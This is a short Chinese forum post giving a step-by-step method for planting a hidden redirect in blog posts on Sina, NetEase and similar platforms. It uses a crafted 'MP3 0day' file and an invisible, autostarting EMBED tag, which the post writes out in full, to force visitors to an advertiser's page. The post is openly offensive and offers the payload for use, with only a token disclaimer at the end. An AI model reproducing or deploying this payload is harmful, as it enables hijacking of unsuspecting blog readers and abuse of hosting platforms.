新浪网易和讯等博客通用挂马方法+MP3 0day利用

前一段时间一直在研究网站暴力推广
在研究通过博客暴力推广时略有所得
和大家分享下

这次会利用到一个小工具
就是前一段时间很多人所说的MP3 0day
我写了一个利用工具
给几个朋友也玩了几个月了
这次也一起放出来吧
没什么技术含量，大牛飘过吧

该方法理论上通杀所有支持源码编辑的博客

具体利用方法如下:

先用随文附带的利用工具生成一个MP3文件
地址中填自己要挂广告的网址
将MP3文件上传到自己的空间里
把MP3文件网络链接地址记下
然后进入新浪或网易等博客
写一篇日志
选择源码编辑模式
在当中加入

<EMBED height=1 type=application/x-mplayer2 align=baseline pluginspage="" width=1 src=http://127.0.0.1/test.mp3 ALLOWSCRIPTACCESS="samedomain" BORDER="0" AUTOSTART="1"></EMBED>

http://127.0.0.1/test.mp3 替换为你的MP3文件网络链接地址

点击日志
就会自动转向你指定的页面
一次暴力广告推广就成功了

本文只作为技术探讨只用，请勿将本文提到的技术用于非法用途，否则产生的任何后果与作者无关